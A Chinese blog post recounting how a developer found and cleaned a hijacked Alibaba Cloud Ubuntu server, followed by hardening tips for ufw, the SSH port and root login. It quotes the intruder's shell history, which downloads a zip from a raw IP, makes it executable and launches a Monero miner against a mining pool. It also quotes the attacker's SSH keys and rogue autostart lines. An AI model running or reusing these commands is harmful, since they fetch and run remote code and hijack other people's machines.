记一次在阿里云ubuntu服务器上的黑客反击战

就在近几日的一天,我们的一台阿里云ubuntu服务器应该被人黑进系统,做成了肉鸡,占用了大量资源,严重影响了使用。为了尽快恢复服务,不得已,在我司没有相关专业人才的情况,临危受命,光着膀子上阵,反击战就此拉开。

1. 现象

原本好好的一台阿里云上的服务器突然访问不了,通过ssh登录几乎没有反应,连接不上。

2. 分析

服务器连接不上,服务器上的服务也访问不了,直接怀疑服务器宕机了。登录阿里云的控制台发现,该机器状态正在运行,这就奇怪了。

继续再控制台查看,发现该服务器的系统资源监控图上,CPU和IO网络资源占用全都是100%,而我们的服务根本用不了这么多,怀疑有异常应用。

接着在控制台的云盾监控里发现,该服务器存外地在一次异常登录,这下确认,应该被人黑了。

这里有个郁闷的地方,阿里监控到了这个黑客,但想看更多的信息,就得升级VIP,就得花钱,还不便宜。

确定服务器被人动了手脚,但具体动了怎么样的手脚?如何恢复?怎么防止?继续分析。

  1. 通过SSH根本访问不了服务器,那想登陆服务器查找异常也实现不了,得先解决这问题。
  2. 通过阿里控制强制重启该服务器,刚刚重启之后,用ssh登录,正常。执行top命令,观察系统资源情况。刚开始一切正常,大概1分钟左右后,整个服务器进程全变成了ps进程,系统资源被耗尽,cpu,内存全满。
  3. 再次重启,尝试几次之后发现,刚重启的时候ssh登录,ps,top命令执行正常,1分钟后系统所有进程基本全变成了ps,top,nestat进程,并且大量的占用资源,导致几乎每个进程都是100%的cpu消耗。而再执行ps,top,netstat命令,命令正常结束,但没有任何输出。通过和其他正常服务器的对比,确定这几个命令被替换了。
  4. 通过history命令发现,有一段命令操作像是安装肉鸡的操作:
 1988  wget https://118.192.146.141:21222/generic.zip
 1989  unzip generic.zip
 1990  rm -rf generic.zip
 1991  cd generic.zip
 1992  cd generic
 1993  chmod 777 yam
 1994  (./yam -c x -M stratum+tcp://45scyJKLwUNFWdZQHanAWw7LDRGrfCeTGft12xyo6Cg6Z2XWhdub7BWW5H2iBrGGAc9XfC4VsQcRbPNgLgZDSqBK9KGJAvG:x@xmr.crypto-pool.fr:3333/xmr &)
 1995  exit
 1996  top
 

该命令在root目录下载了一个zip文件,解压后赋权限,启动了一个命令,这个命令看不懂。通过baidu大概知道,利用redis安全漏洞攻击的脚本里的命令跟这个挺像。

  1. 检查ssh key发现,在/root/.ssh/authorized_keys、authoried_keys文件里新增两个ssh key的配置,根据最后的名称发现,明显不是我们的。
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm3sLlDeWVz+wniirqWHTj
    r3X3Wn1EMPC5Ii7gC3yJ2w3XBZRqxg9WYYFD/9RlacTnO9LUcV35AQ+p+N9CSATMJLIK/iZznFSFtnbrqonhFd2SUtRhT8fPvwdSTmmKVZDOiI+ZWJcpffY8pOf2iXBkiVv3QIdTViJIkBF918gwIbQGYF5AJ+EqgA1HvOcMIM2C4btMwjImhGUW13buMv6RPfQHpayaPuC6xjGoqrhKvv9hEAAKn/g60S76Bj4WhXcbtYb8y0v1/TNRqv6AT7Om+NfjJUt6cxfgTw5SoQIFFQAKd3UyRr+z2xchSEf14lDRPrRU51tr4elU82MVKXBh root@kali
    
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+wDfk9Uf97bGjImaI1c3Xi4DRTLqvW7GN1YoKJ2GJLIGbQlg7gYtDpcu0fjOjvL95kNNVkVcwBD5XzkmI+IM4nzybmMFX//r5efTp1z9fDWP3KvORo+qWJvwTcxwB8nYQRlwpkQn5HTXj4WkGpa93v5PthReoDFdPHmB+FMadbN6n9z2gOr+hNVSxeNGpNFzWNFVcGCKfMl7sJgexaw5gjeEobouvd1BvdbEBeIggnTSSEHYMpL0QlpHjWErgTCURIKno5xScpWmE9ejAui7uEjdDbtpjrY2Z8O9zExQtNRSb2gNXAtl3Y+3vfS6g8CzOTV2wdExukvKw+1zWQVFL zuoshou@ubuntu
    

6.检查系统开机自启项,/etc/rc.local里发现两个没见过的自启脚本。

sh /etc/issue.sh &
sh /etc/iisethert.sh &

同时发现/etc/目录issue.sh,iisethert.sh 文件。然后,进入/etc/init.d/目录,发现几十个没见过的文件

hkiewsdxasasx*
akslkkxmjdslk*
klkmxasdsiwqx*
opewlncwxjioq*
....

看着就像程序随机生成的,按时间排序,发现这些都是最近的。总共50多个。另外发现DbSecuritySpt、selinux脚本,也觉得是异常脚本。

3. 反击

根据之前的分析,大概知道哪里出了异常。具体异常之处的作用,暂没有分析,先解决问题为主。

  1. 删除异常root目录下generic相关文件
  2. 删除异常的ssh key
  3. 删除/etc/rc.local异常脚本配置
  4. 删除/etc/init.d/下异常脚本
  5. 删除/etc/rc0.d~rc6.d/目录异常脚本连接
  6. 从其他正常的服务器上,复制正常的ps、top、netstat命令到/bin目录下,恢复命令。

上面的反击操作不是一撮而就的,重启了好几次服务器,陆续执行上面的反击操作。终于,最后一次重启服务器,通过top命令发现,系统进程正常了。

事后在网上搜到一篇类似的文章,我的具体情况和他的有些不一样,估计是一种新变种。

防护

解决了问题,就要考虑如何防止。一查才发现我们之前的防护实在是有点太弱了。常规的防护手段都没有用,赶紧上。

开启防火墙

  1. 安装
sudo apt-get install ufw
  1. 启用防火墙
sudo ufw enable 
sudo ufw default deny 

开启了防火墙并随系统启动同时关闭所有外部对本机的访问(本机访问外部正常)。

  1. 关闭防火墙
sudo ufw disable
  1. 查看防火墙状态
sudo ufw status
  1. 开启/禁用相应端口
 sudo ufw allow 80 允许外部访问80端口
 sudo ufw delete allow 80 禁止外部访问80 端口
 sudo ufw allow from 192.168.1.1 允许此IP访问所有的本机端口
 sudo ufw deny smtp 禁止外部访问smtp服务
 sudo ufw delete allow smtp 删除上面建立的某条规则
 sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22 要拒绝所有的TCP流量从10.0.0.0/8192.168.0.1地址的22端口

可以允许所有RFC1918网络(局域网/无线局域网的)访问这个主机(/8,/16,/12是一种网络分级):

sudo ufw allow from 10.0.0.0/8
sudo ufw allow from 172.16.0.0/12
sudo ufw allow from 192.168.0.0/16
  1. 推荐设置
 sudo apt-get install ufw
 sudo ufw enable
 sudo ufw default deny 

修改ssh端口

Linux中SSH默认端口为22,为了安全考虑,我们有必要对22端口进行修改,现修改端口为60000;修改方法如下:

  1. 在/etc/ssh/sshd_config中找到Port 22,将其修改为60000,或使用/usr/sbin/sshd -p 60000指定端口。
  2. 如果想让22和60000端口同时开放,只需在/etc/ssh/sshd_config增加一行内容如下:
[root@localhost /]# vi /etc/ssh/sshd_config
Port 22
Port 60000

保存并退出

[root@localhost /]#service ssh restart
  1. 重启 ssh 服务
root@ubuntu14:~# service ssh restart
ssh stop/waiting
ssh start/running, process 1499
root@ubuntu14:~#

禁用root账户,增加sudo权限

假如增加用户zhangsan的sudo权限。
修改/etc/sudoers文件,在root下增加如下一行。

 root  ALL=(ALL) ALL 
 zhangsan  ALL=(ALL) ALL 
 

增加用户名zhangsan:

useradd zhangsan
passwd zhangsan

禁止root用户登录:修改/etc/ssh/sshd_config文件,将PermitRootLogin前的#号去掉,yes改为no,重启network。

# Authentication:
LoginGraceTime 120
#PermitRootLogin without-password
PermitRootLogin no
StrictModes yes

按照以上方法,root用户将不能登录,则使用zhangsan用户登录。切换到root权限可使用#sudo su ,然后输入zhangsan的密码即可。

后记

严格的说这不能算一次漂亮的反击战,只是暂时解决了问题,因为时间紧迫,过程中也没有保存异常的文件供后续研究,也没有截图。
对于黑客技术,码农知之甚少,这次被人搞了事情之后,看来非常有必要知道这方面的知识。这个搞事情的人不知道是大意了还是水平一般,还是很容易发现系统异常,如果遇到高级黑,估计我就傻眼了。总之,不以恶小而为之,OK?

你也许感兴趣的:

共有 1 条讨论

  1. daihl  这篇文章

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注